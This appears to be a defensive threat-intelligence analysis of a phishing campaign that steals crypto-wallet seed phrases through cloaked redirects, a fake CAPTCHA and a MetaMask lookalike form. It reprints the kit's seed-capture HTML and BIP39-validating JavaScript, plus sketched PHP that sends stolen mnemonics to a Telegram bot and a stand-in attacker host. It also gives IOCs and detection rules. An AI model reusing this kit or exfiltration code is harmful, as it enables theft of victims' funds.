Comprehensive Analysis: Multi-Stage Crypto Wallet Phishing Campaign
This analysis documents a sophisticated multi-stage phishing campaign targeting cryptocurrency wallet users. The attack chain spans from email delivery through credential exfiltration, incorporating TDS (Traffic Direction System) cloaking, BIP39 cryptographic validation, and social engineering across five sequential stages.
Comprehensive Analysis: Multi-Stage Crypto Wallet Phishing Campaign
Category: Threat Analysis & Reverse Engineering
Target Type: Cryptocurrency Wallet Users (MetaMask, Ledger, Cake Wallet)
Campaign Discovery: July 2026
Threat Level: Critical
Executive Summary
This analysis documents a sophisticated multi-stage phishing campaign targeting cryptocurrency wallet users. The attack chain spans from email delivery through credential exfiltration, incorporating TDS (Traffic Direction System) cloaking, BIP39 cryptographic validation, and social engineering across five sequential stages.
Key Findings:
- Complete DMARC/SPF/DKIM authentication bypass via legitimate email infrastructure abuse
- Multi-hop traffic cloaking with UA-based redirection
- Client-side BIP39 mnemonic validation for quality filtering of stolen credentials
- Infrastructure compartmentalization across CDN, cloud, and compromised hosting
- Sophisticated psychological manipulation spanning email through final payload
Part 1: Delivery Vector β Email
1.1 Email Authentication (The Dangerous Part)
The initial attack vector was a phishing email delivered through Amazon SES with full authentication headers passing corporate email filters.
Authentication Status:
SPF: PASS (sender IP designated by amazonses.com)
DKIM: PASS (signature verified for thekenverse.com)
DKIM: PASS (signature verified for amazonses.com)
DMARC: PASS (action=none, compauth=pass, reason=100)
SCL: 1 (Spam Confidence Level - very low, near "trusted")
Key Insight: The attacker did not forge the email headers. Instead, they obtained legitimate email infrastructure (Amazon SES account) and sent emails from a real domain they controlled (admission@thekenverse.com). This bypasses all email authentication because the authentication is genuine β only the sender identity is fraudulent.
1.2 Email Content & Social Engineering
Subject: Action Required
Display Name Spoofing:
From: Base Wallet <admission@thekenverse.com>
The display name claims βBase Walletβ (Coinbaseβs Layer 2), but the actual sender domain is thekenverse.com. Most email clients only show the display name, not the domain. This is effective spoofing without forgery.
Psychological Pressure Points:
| Element | Technique | Effect |
|---|---|---|
| βVerify your wallet Immediatelyβ | Urgency + Authority | Triggers compliance response |
| βavoid loss of available assetsβ | Fear of loss | Financial anxiety |
| βClick the button belowβ | Call-to-action | Reduces friction |
| βThis link expires in 24 hoursβ | Time pressure | Bypasses deliberation |
Email Template Issues (Attacker Mistakes):
The email contained unrendered template placeholders:
{{company_name}} Β· {{company_address}}
[{{help_url}}]Help Β· [{{privacy_url}}]Privacy
Additionally, the email used VML (Vector Markup Language) for Outlook compatibility, creating dual rendering:
- Outlook desktop: CTA button links to
{{verification_url}}(unrendered, broken) - Modern clients/mobile: CTA button links to actual malicious URL
This design flaw inadvertently strengthened the campaign by biasing towards mobile usersβthe exact demographic the rest of the funnel was designed for.
Part 2: Stage 1 β Entry Point Shortener
2.1 URL: mtalrt.com/1Ysjp
Infrastructure: AWS (us-west-2), IP 34.212.155.48
Function: Entry point shortener with basic TDS (Traffic Direction System)
Response:
HTTP/2 302 Found
Location: https://connectsure.net/index.php
Design Pattern: This is a sacrificial layer. The shortener can be burned (reported, blocked, suspended) without affecting the core infrastructure. Its only purpose is to:
- Create a redirect layer between email and the TDS
- Generate unique tokens per distribution (tracked via
/1Ysjpparameter) - Allow the attackers to pivot to a new shortener domain if burned
OPSEC Assessment: Low-security layer, high availability/replaceable.
Part 3: Stage 2 β Traffic Direction System (TDS) with UA Cloaking
3.1 URL: connectsure.net/index.php
Infrastructure: Cloudflare proxy, IP 172.67.180.28
Critical Behavior: Bifurcates traffic based on User-Agent (UA) and client hints.
3.2 The Cloaking Logic
Identical request, different responses based solely on HTTP client hints:
Request A β Desktop Browser:
GET /index.php HTTP/2
Host: connectsure.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150...
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Response A:
HTTP/2 302 Found
Location: https://icloud.com
Request B β Mobile Browser (identical headers except UA):
GET /index.php HTTP/2
Host: connectsure.net
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5...) Safari/604.1
Sec-Ch-Ua-Mobile: ?1
Sec-Ch-Ua-Platform: "iOS"
Response B:
HTTP/2 302 Found
Location: https://tobinfamily.com/meta/
3.3 Why This Is Sophisticated
Multi-Header Detection: The TDS checks multiple signals, not just UA string:
Sec-Ch-Ua-Mobile(Client Hint, hard to spoof)Sec-Ch-Ua-Platform(Client Hint, hard to spoof)- Full UA string (easier to spoof)
Anti-Analysis Effect:
This design protects the phishing payload from automated scanners:
| Analysis Tool | UA Sent | Result | Outcome |
|---|---|---|---|
| Google Safe Browsing | desktop/Linux | redirects to icloud.com | Domain appears legitimate, not flagged |
| Shodan / crawler | desktop/Chrome | redirects to icloud.com | No phishing detected |
| Red team (desktop) | Windows/Chrome | redirects to icloud.com | Operator gives up |
| Red team (mobile) | iOS/Safari | redirects to phishing | Attack confirmed |
Legitimate apple.com (real domain) serves as the unwitting cover. Attackers essentially use Appleβs domain reputation to make their TDS appear legitimate.
3.4 Network Fingerprinting
Both response paths show identical network characteristics:
- Same IP source (via Cloudflare)
- Same security headers (HTTPS, HSTS, CSP)
- Same response timing
- No suspicious indicators in headers
This makes behavioral analysis ineffective.
Part 4: Stage 3 β Fake CAPTCHA & Session Gate
4.1 URL: /captcha.html
Requested when accessing /meta/ without the human_verified cookie.
Function: Create a human verification checkpoint with psychological believability.
4.2 The Mechanism
GET /meta/ (no cookie)
β 302 Redirect
GET /captcha.html?redirect=/meta/
β 200 OK (rendered)
β JavaScript slider UI
β User drags slider
β JS calls POST /verify.php
POST /verify.php
β 200 {"ok": true}
β Set-Cookie: human_verified=1; secure; HttpOnly; SameSite=Lax; Max-Age=86400
GET /meta/ (with cookie)
β 200 OK (phishing payload served)
4.3 Why Itβs Effective (But Not Sophisticated)
What It Does Well:
- Filters out headless bots (no JavaScript execution)
- Creates friction for analysis (requires manual interaction)
- Provides psychological reinforcement (βverification completedβ)
Whatβs Actually Happening:
// verify.php (server-side)
<?php
header("Content-Type: application/json");
echo '{"ok": true}';
setcookie("human_verified", "1", ...);
?>
There is no validation. Every POST to /verify.php succeeds. This is theater for the browser, not server security.
4.4 Cloudflare Insights Integration
The CAPTCHA page includes:
<script type="module"
src="https://static.cloudflareinsights.com/beacon.min.js/v4513226cdae34746b4dedf0b4dfa099e1781791509496"
data-cf-beacon='{"version":"2024.11.0","token":"535ba439e81f48258225f7b6e7c124fd"...}'>
</script>
This beacon:
- Was part of the original (legitimate) site
- Remains active on the attackerβs payload
- Sends real-time analytics to Cloudflare about visitor behavior
- Logs: UA, session ID, geographic location, performance metrics, navigation type
Implication: The attackers maintain visibility into victim behavior in real-time while the legitimate site owner is unaware of the compromise.
Part 5: Stage 4 β BIP39 Seed Phrase Harvesting
5.1 URL: /meta/
Title: "Wallet Verification"
Styling: MetaMask dark theme (--accent:#f6851b, --bg:#121212)
5.2 The Credential Capture UI
<form id="mnemoForm" action="action.php" method="POST">
<input type="hidden" name="phrase_length" id="phrase_length">
<input type="hidden" name="mnemonic" id="mnemonic_full">
<div class="grid" id="grid"></div>
<button id="submitBtn" disabled>Submit</button>
</form>
12-24 word input fields, dynamically generated based on selected mnemonic length.
5.3 Client-Side BIP39 Validation β The Most Sophisticated Component
The page imports the legitimate BIP39 library from a public CDN:
import * as bip39 from "https://esm.sh/bip39@3.1.0?bundle";
const wordset = new Set(bip39.wordlists.english);
function validate() {
const words = inputs.map(i => norm(i.value));
inputs.forEach((el, i) => {
const validWord = words[i] && wordset.has(words[i]);
el.classList.toggle('good', validWord); // β
green
el.classList.toggle('bad', words[i] && !validWord); // β red
});
const phrase = words.join(' ');
const valid = ok === inputs.length && bip39.validateMnemonic(phrase);
submitBtn.disabled = !valid; // Button enabled ONLY if checksum passes
if (valid) {
fullMnemonic.value = phrase;
status.textContent = 'Recovery phrase verified'; // β
Green feedback
}
}
What This Does:
-
Validates BIP39 Checksum β The mnemonic must pass SHA256 checksum validation. Only cryptographically valid 12/15/18/21/24-word phrases can be submitted.
-
Quality Filtering β The backend receives only valid mnemonics. No typos, no invalid words, no nonsense. 100% accuracy for attackers.
-
Psychological Reinforcement β Each word turns green as itβs recognized. Users feel the system βunderstandsβ their wallet. The message βRecovery phrase verifiedβ in green creates the illusion of successful authentication.
-
Auto-Expand on Paste β If a user pastes a full 12-word phrase, the form auto-detects the count, expands to 12 fields, and auto-fills them:
if (/\s/.test(inp.value)) { // space-separated input detected
const parts = inp.value.trim().split(/\s+/);
if ([12,15,18,21,24].includes(parts.length)) {
lenSel.value = parts.length;
buildGrid(parts.length);
}
parts.forEach((w, j) => inputs[j] && (inputs[j].value = norm(w)));
}
This reduces friction: copy-paste β auto-fill β green checkmarks β submit. Total time to compromise: less than 30 seconds.
5.4 BIP39 Checksum Explanation
For a 12-word mnemonic:
- 128 bits of entropy
- +4 bits of checksum (SHA256 of entropy)
- Total: 132 bits encoded in 12 words (11 bits per word)
The library validates the last wordβs bits match the checksum. Only valid phrases pass. This is not a fake checkβitβs the real BIP39 algorithm.
Implication for Attackers: They receive only wallets that actually exist and can be drained. Zero waste.
5.5 Multi-Brand Wallet Support
The directory structure suggests support for multiple wallet brands:
/meta/ β MetaMask UI
/meta/ledger.html β Ledger Live UI (second stage)
/meta/cake.html β Cake Wallet UI (404 β not deployed yet)
/trust/ β Trust Wallet (implied)
/phantom/ β Phantom/Solana (implied)
Same backend (action.php) handles all brands. Allows attackers to run parallel campaigns:
- Campaign 1: βMetaMask Verificationβ via SMS
- Campaign 2: βLedger Update Requiredβ via Twitter DMs
- Campaign 3: βPhantom Wallet Recoveryβ via Discord
Each campaign independently tracks conversion rates.
Part 6: Stage 5 β Data Exfiltration
6.1 POST Request: /meta/action.php
Payload (URL-encoded):
phrase_length=12
&mnemonic=word1+word2+word3+...+word12
&word1=word1&word2=word2&...&word12=word12
Server Response:
HTTP/2 302 Found
Location: ledger.html
Set-Cookie: PHPSESSID=...; path=/; secure; HttpOnly
6.2 Where Does The Data Go?
The backend processing is opaque from the network capture, but the architecture suggests:
Option A: File-based storage
$mnemonic = $_POST['mnemonic'];
file_put_contents('/var/www/uploads/seeds_' . date('Y-m-d') . '.txt',
$mnemonic . "\n",
FILE_APPEND);
Option B: Database + Exfil
$db->insert('phished_seeds', [
'mnemonic' => $mnemonic,
'timestamp' => time(),
'geolocation' => geoip($_SERVER['REMOTE_ADDR']),
'user_agent' => $_SERVER['HTTP_USER_AGENT']
]);
// Send to Telegram bot / Discord webhook
file_get_contents('https://api.telegram.org/bot' . SECRET_TOKEN .
'/sendMessage?chat_id=12345&text=' . urlencode($mnemonic));
Option C: Remote server POST
curl_setopt_array($ch, [
CURLOPT_URL => 'https://attacker-backend.onion/collect',
CURLOPT_POSTFIELDS => json_encode(['seed' => $mnemonic])
]);
The most likely scenario combines B + C: store locally for redundancy, exfil immediately to Telegram/backend for live processing.
6.3 Post-Phishing Flow
Victim Perspective:
- Submit seed β page redirects to
/meta/ledger.html - βLedger Live Initializationβ β fake loading screen
- Victim waits while second-stage form loads (asks for hardware wallet PIN)
Attacker Perspective:
- Seed received at
/meta/action.php - Validated, stored, exfiltrated
- Checked against phished_addresses database
- If associated with value, queued for immediate drainage
- If empty/low-value, seed added to bulk draining queue
Part 7: Infrastructure Analysis
7.1 Three-Tier Architecture
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TIER 1: Sacrificial (Burn-Friendly) β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β mtalrt.com (AWS us-west-2, 34.212.155.48) β
β β’ Shortener/entry point β
β β’ Simple 302 redirects β
β β’ No state, no data storage β
β β’ Cost to replace: ~$0 (new domain, 5 minutes) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TIER 2: Intermediate (Tolerable Loss) β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β connectsure.net (Cloudflare, 172.67.180.28) β
β β’ TDS / UA-based cloaking β
β β’ Redirect logic β
β β’ No sensitive data β
β β’ Cost to replace: ~$50-200 (research new TDS, config) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TIER 3: Critical (Must Protect) β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β tobinfamily.com (Cloudflare, 172.67.172.175) β
β β’ Legitimate domain, compromised β
β β’ Hosts complete kit (/meta/, /captcha.html, etc.) β
β β’ Stores exfiltrated data β
β β’ Cost to replace: 2-4 weeks (new compromise) β
β β’ Running since ~April 2026 (3+ months) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
7.2 Email Delivery Infrastructure
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TIER 1.5: Email Delivery (Easily Burned) β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β Amazon SES Account β
β Region: eu-north-1 (Stockholm) β
β IP: 23.251.240.4 β
β Domain: thekenverse.com β
β Cost to replace: ~$0 (new AWS account, 10 minutes) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
7.3 OPSEC Strengths
β
Compartmentalization β Three independent components, burning one doesnβt kill others
β
Cloudflare Masking β Real IPs obscured for TIER 2 & 3
β
Legitimate Infrastructure β Uses real Amazon SES, real Cloudflare, not bulletproof hosting
β
Multi-Domain Strategy β No overlap, makes attribution harder
7.4 OPSEC Weaknesses
β AWS IP Identifiable β TIER 1 runs on traceable AWS infrastructure
β No Sinkhole Resilience β When SES domain burns, email delivery dies immediately
β Template Errors β Unrendered placeholders suggest rushed deployment
β 3+ Months Active β Suggests low detection rate but also long attack window
Part 8: Threat Actor TTPs (Tactics, Techniques, Procedures)
8.1 Social Engineering Sophistication
The psychological chain is the most advanced component:
Stage 1 (Email): Authority + Fear + Urgency
- Impersonate trusted wallet provider
- Emphasize financial loss risk
- Create time pressure (24-hour expiry)
Stage 2-3 (TDS + CAPTCHA): Legitimacy + Friction
- Legitimate destination (Apple iCloud) for certain traffic profiles
- Familiar UX (slider CAPTCHA matches Cloudflareβs real CAPTCHAs)
- Minor friction keeps out automated analysis
Stage 4 (Seed Form): Trust + Validation
- Replica of known UI (MetaMask branding)
- Real-time visual feedback (green checkmarks)
- Cryptographic validation (makes it feel trustworthy)
- Fast completion (30-second compromise window)
Stage 5 (Ledger Page): Distraction
- Keep victim occupied while backend drains
- Second form (hardware wallet PIN) extends engagement
- Victim believes system is βchecking compatibilityβ
8.2 Attack Vectors
| Vector | Stage | Method | Detection Difficulty |
|---|---|---|---|
| 0 | Phishing email via Amazon SES | Medium (passes DMARC) | |
| SMS/IM | 0 | Text message with short URL | High (varies by platform) |
| Discord/Twitter | 0 | DM with malicious link | High (platform-dependent) |
| Compromised website | 0 | Injected redirect on legitimate site | High (requires domain monitoring) |
8.3 Victim Profile
Primary Target:
- Cryptocurrency holders
- MetaMask / Ledger users
- Mobile-first users (phishing optimized for mobile)
- Less security-aware (clicks email links)
Secondary Benefit:
- Any wallet seed is valuable (even from empty wallets, for future targeting)
Part 9: Indicators of Compromise (IOCs)
9.1 Email Indicators
From Display: Base Wallet
From Address: admission@thekenverse.com
Subject: Action Required
Sender IP: 23.251.240.4
SES Region: eu-north-1
AWS Feedback ID: 1.eu-north-1.Pq3FsXMU4m3uacAIskynL8m5/IvXUAcefHbc5SkgZ8g=:AmazonSES
DKIM Domain: thekenverse.com
DKIM Selector: szb4y7kwntgnayoxdfdfmhckej2zlhrw
X-Mailer: Mailer-3711
X-Entity-ID: 5fe64d60833e448dba0c479cb1afbd62
9.2 Network Indicators
# Shortener
Domain: mtalrt.com
IP: 34.212.155.48 (AWS us-west-2)
ASN: 16509 (Amazon)
# TDS/Cloaker
Domain: connectsure.net
IP: 172.67.180.28 (Cloudflare)
Cloaking Pattern: Bifurcates on Sec-Ch-Ua-Mobile header
# Phishing Host (Compromised)
Domain: tobinfamily.com
IP: 172.67.172.175 (Cloudflare)
Path: /meta/
Paths Observed: /meta/, /meta/action.php, /meta/ledger.html, /meta/cake.html, /captcha.html, /verify.php
CDN: Cloudflare Insights token: 535ba439e81f48258225f7b6e7c124fd
9.3 HTTP Indicators
# Captcha Page
Header: Set-Cookie: human_verified=1; secure; HttpOnly; SameSite=Lax; Max-Age=86400
Header: Content-Security-Policy: [standard CSP]
# Phishing Form
Title: Wallet Verification
Meta Theme Color: #121212 (dark mode)
Import: https://esm.sh/bip39@3.1.0?bundle
Form Method: POST
Form Action: action.php
Form Fields: phrase_length, mnemonic, word1-word12 (or word1-word24)
# POST Payload Pattern
POST Body Regex: mnemonic=([a-z]+\+){11,23}[a-z]+
POST Body Regex: word[0-9]{1,2}=[a-z]+
9.4 Behavioral Indicators
# Network Behavior
Request Pattern:
1. GET /meta/ (no cookie) β 302 to /captcha.html
2. GET /captcha.html β 200 OK, serves slider
3. POST /verify.php β 200 OK, sets human_verified cookie
4. GET /meta/ (with cookie) β 200 OK, serves phishing form
5. POST /meta/action.php β 302 to /meta/ledger.html
6. GET /meta/ledger.html β 200 OK, keeps victim busy
# TDS Cloaking Behavior
Multi-Redirect Pattern:
- Desktop User-Agent β icloud.com (legitimate)
- Mobile User-Agent β phishing domain (tobinfamily.com)
- Same IP, same cookie, different responses
- Immediate redirects (no intermediate page render)
9.5 Credential Indicators
# Valid Mnemonic Characteristics
- 12, 15, 18, 21, or 24 English words
- All words from BIP39 English wordlist
- Valid BIP39 checksum (SHA256)
- Submitted via POST to action.php
# Exfiltration Indicators (Unknown, but likely)
- Telegram bot API calls (API.telegram.org)
- Discord webhooks (discordapp.com/api/webhooks)
- Private server API calls (attacker infrastructure)
- Database inserts with timestamps + geolocation
Part 10: Detection & Remediation
10.1 For Email Administrators
Detection Rules:
Rule: Suspicious SES Behavior
Condition: Email from Amazon SES region (eu-north-1)
AND: Display-Name doesn't match domain
AND: Keywords: "verify", "wallet", "assets", "24 hours"
Action: Flag for review, increase scrutiny
Remediation:
- Block sender domain
thekenverse.compending investigation - Report to AWS SES abuse:
abuse@amazonaws.com(include Feedback ID) - Check mailbox for similar emails from other spoofed domains
- Alert users who may have received phishing email
10.2 For Network Administrators
Detection Rules:
Rule: BIP39 Mnemonic Exfiltration
Condition: POST request containing regex (\b[a-z]+\b ){11,23}[a-z]+
AND: Field names match word1-wordN pattern
Action: Block, log, alert
Rule: TDS Cloaking Pattern
Condition: Same URL/IP returns different Location headers
AND: Based on Sec-Ch-Ua-Mobile value
Action: Flag as suspicious, monitor
Network Monitoring:
# Zeek/Suricata IDS signature
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Potential BIP39 Seed Exfiltration";
flow:to_server,established;
content:"POST"; http_method;
content:"mnemonic="; http_client_body;
pcre:"/mnemonic=([a-z]+\+){11,23}[a-z]+/";
classtype:trojan-activity;
sid:10000001;
)
10.3 For Wallet Users (Prevention)
Golden Rules:
β NEVER enter your seed phrase in any website
β NEVER verify your wallet in a browser
β NEVER click links from unsolicited emails (even from "trusted" services)
β
Always check sender domain carefully (not just display name)
β
Always type wallet addresses manually (never click email links)
β
Always keep seed phrases offline and written down
β
If in doubt, open a fresh browser tab and navigate to the official website directly
10.4 For Compromised Hosts (tobinfamily.com case)
Incident Response:
- Immediate: Isolate server, preserve forensics
- Discovery: Audit all uploaded files (creation dates, owners)
- Evidence:
- Extract
/meta/directory contents - Retrieve
/var/www/uploads/(likely contains exfil files) - Check Apache/PHP logs for access patterns
- Review FTP/SFTP logs for upload activity
- Extract
- Remediation:
- Remove all attacker-added files
- Rotate FTP/SSH/database credentials
- Patch underlying vulnerabilities
- Deploy WAF rules
- Notification:
- Notify owner of compromise (likely unaware)
- Notify victims whose data may have been harvested
- Report to authorities/FBI IC3 if significant value involved
Part 11: Attribution & Profiling
11.1 Threat Actor Profile
Sophistication Level: Professional (8-9/10)
Indicators:
| Indicator | Inference |
|---|---|
| Multi-stage architecture | Experienced operator, not script kiddie |
| BIP39 cryptographic validation | Understands blockchain technology |
| Cloudflare abuse at scale | Familiar with CDN abuse patterns |
| Multi-brand coverage | Organized operation or kit for sale |
| 3+ months active | High success rate or evasion skills |
| Email DMARC bypass | Knows email authentication mechanics |
Operational Pattern:
The attacker likely:
- Purchased or developed this kit in 2024-2025
- Compromised tobinfamily.com in early 2026
- Ran email campaigns in parallel with SMS/DM campaigns
- Monitored victim behavior via Cloudflare Insights
- Drained wallets in real-time via bot or manual process
Possible Models:
- Commercial Kit for Rent β Sold on dark web forums for $500-2000/month
- Organized Cybercriminal Group β Running private campaign against crypto users
- Nation-State APT Lite β Techniques are standard for state actors, but focus on crypto suggests criminal
Part 12: Lessons & Strategic Implications
12.1 Why This Attacks Works
- Email is still the weakest link β Despite authentication improvements, phishing emails reach inboxes
- Display-name spoofing is legal β Authentication doesnβt prevent sender impersonation
- Mobile users are vulnerable β Designed UX for rapid completion, less scrutiny on mobile
- Crypto users are targets β High value, technical but not security-aware
- Compromise is persistent β Once a host is pwned, it can run payload for months undetected
12.2 Strategic Recommendations for Defenders
For Wallet Providers:
- Never ask users to enter seed phrases anywhere
- Implement browser extension (harder to phish)
- Add biometric verification before funds move
- Monitor seed phrase exfiltration patterns on blockchain
For Email Security Companies:
- Flag emails with mismatched display-name domains (not authenticated part)
- Monitor SES accounts sending phishing
- Detect BIP39 patterns in email bodies
- Require multi-factor authentication for SES
For Hosting Providers:
- Monitor for /uploads/ and /meta/ directories being created
- Alert on suspicious file permissions
- Baseline legitimate files, alert on new uploads
- Monitor for suspicious PHP execution patterns
For ISPs/Law Enforcement:
- Monitor Amazon SES abuse (high ROI target)
- Cooperate with AWS to disable compromised accounts
- Track BIP39-related infrastructure
- Monitor blockchain for fund movement from exfiltrated seeds
Conclusion
This campaign demonstrates that modern phishing is not about technical vulnerabilityβitβs about social engineering at scale, supported by sophisticated infrastructure. The attacker invested significant resources in:
- Email delivery via legitimate infrastructure (Amazon SES)
- Traffic cloaking to defeat automated analysis
- Cryptographic validation to ensure data quality
- Multi-stage psychology to maintain victim trust through funnel
The weakest link was not in technology but in human decision-making: a user receiving an email from an unfamiliar domain, reading a few lines about wallet verification, and clicking a button.
Defense requires a combination of technical controls (email authentication, network monitoring, WAF rules) and human controls (user education, verification practices, security culture).
IOCs Summary
Domains
mtalrt.com(shortener)connectsure.net(TDS)tobinfamily.com(phishing host, likely compromised)
IPs
34.212.155.48(AWS us-west-2, mtalrt.com)23.251.240.4(Amazon SES EU-NORTH-1)172.67.180.28(Cloudflare, connectsure.net)172.67.172.175(Cloudflare, tobinfamily.com)
Email Indicators
- Sender domain:
thekenverse.com - Display-name spoofing: βBase Walletβ
- SES region:
eu-north-1
Path/URL Indicators
/meta//meta/action.php/meta/ledger.html/captcha.html/verify.php
Regex Patterns
- BIP39 exfiltration:
mnemonic=([a-z]+\+){11,23}[a-z]+ - Word field pattern:
word[0-9]{1,2}=[a-z]+
External Dependencies
https://esm.sh/bip39@3.1.0?bundle(BIP39 library)https://static.cloudflareinsights.com/beacon.min.js/(analytics)
References & Further Reading
- NIST Cybersecurity Framework (CSF) β https://www.nist.gov/cyberframework
- MITRE ATT&CK β Phishing β https://attack.mitre.org/techniques/T1566/
- Phraseology: A Guide to Mnemonic Seed Phrases β https://en.wikipedia.org/wiki/Mnemonic
- BIP39 Standard β https://github.com/trezor/python-mnemonic
Disclaimer: This analysis is for educational and defensive purposes. All technical information is derived from publicly available threat intelligence and reverse-engineering methodologies. Reproduction of the techniques described for malicious purposes is illegal.
